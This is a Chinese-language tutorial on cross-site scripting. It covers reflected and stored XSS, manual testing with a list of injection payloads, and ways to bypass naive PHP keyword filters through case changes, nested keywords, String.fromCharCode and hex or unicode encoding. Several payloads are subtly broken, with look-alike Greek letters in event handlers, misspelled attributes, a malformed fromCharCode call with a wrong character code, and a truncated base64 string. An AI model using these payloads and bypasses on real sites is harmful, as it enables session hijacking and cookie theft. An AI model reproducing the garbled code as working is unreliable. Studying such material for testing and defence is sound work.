一、xss概述
XSS介绍:
跨站脚本(cross-site scripting,XSS)是一种安全攻击,其中,攻击者在看上去来源可靠的链接中恶意嵌入译码。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。
特点:
能注入恶意代码到用户的客户端浏览器的网页上,从而达到劫持用户会话的目的。
XSS的危害
窃取Cookies、蠕虫、钓鱼等等。
XSS分类
1、反射型
介绍:XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。
一般使用的时候是将构造好的URL发送给目标者,诱使其点击链接后触发攻击,但是这种的只能使用一次,非持久化的。
2、存储型XSS
比反射性的XSS更具有威胁性,并且可能影响到web服务器是我自身安全,这种的不需要用户自己点击特定的链接就可以执行,攻击者将恶意代码上传到服务器中,或存储在漏洞服务中,只要浏览器包含有这个恶意代码的问题,就会受到攻击。
二、xss挖掘与绕过
1、火狐中常用的XSS调试插件
hackbar、firebug、tamper data、live http headers、editor cookie(编辑cookie)
2、XSS漏洞挖掘:
2.1挖掘方式:
手工挖掘、工具挖掘、标签闭合、AWVS
手工挖掘XSS漏洞
站点:http://www.xx.com/xss.php?id=1,将payload分别添加到id=1的地方进行测试
常测试的地方是有输入的地方,文件上传的地方、flash、、闭合标签
<script>alert(1)</script>
"'><script>alert(1)</script>
<img/src=@οnerrοr=alert(1)/>
"'><img/src=@onerrer=alert(1)/>
'omouseover=alert(1) x='
"οnmοuseοver=alert(1) x="
'onmousover=alert(1) x="
javascript:alert(1)//
data:text/html;base64,PHNjcmludD5==
"';alert(1)//
</script><script>alert(1)//
}x:expression(alert(1))
alert(1)//
工具挖掘XSS漏洞
AWVS netsparke appscan burpsuie xsser xsscrapy bratexssr OWASP Xemotix
3、常见的预防xss代码
$x=preg_replace("/script/","",$x);
$x=preg_replace("/script/i","",$x);
$x=preg_replace("/alert/","",$x);
$x=preg_replace("/script/","",$x);
这里面,i是代表不区分大小写
上述的代码是指将检测到的关键字用空格替换
对于区分大小写我们可以对关键字进大小写的转换
对于替换成空格的我们可以重复覆盖,如:<SCRSCRRTPIPT>他将里面的一个替换成空格后还会剩下一个
4、绕过限制
当存在XSS但又有waf或过滤策略时,有以下几种绕过方法:
1、绕过magic_quotes_gpc
2、编码绕过
3、改变大小写
4、闭合标签
5、绕过 magic_quotes_gps
magic_quotes_gps=ON是PHP中的安全设置,开启后会将一些字符进行转化
如:’(单引号)------> ’
“(双引号)-------->”
\ ----------> \
所以 <script>alert("xss")</script>会变成
<script>alert(\"xss"\)</script>
使用String.from CharCode();
将alert("xss")
String.from CharCode(97,108,101,114,11640,34,88,83,34,41)
那么xss语句就变成了:
<script>String.from CharCode(97,108,101,114,11640,34,88,83,34,41)</script>
String.from CharCode()函数:js中把ASCII转换为字符串
6、编码绕过
使用hex编码来绕过
<script>alert(\"xss"\)</script>
改为
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%5c%22%78%73%73%22%5c%29%3c%2f%73%63%72%69%70%74%3e
或者
<用\u003c
>用\u003e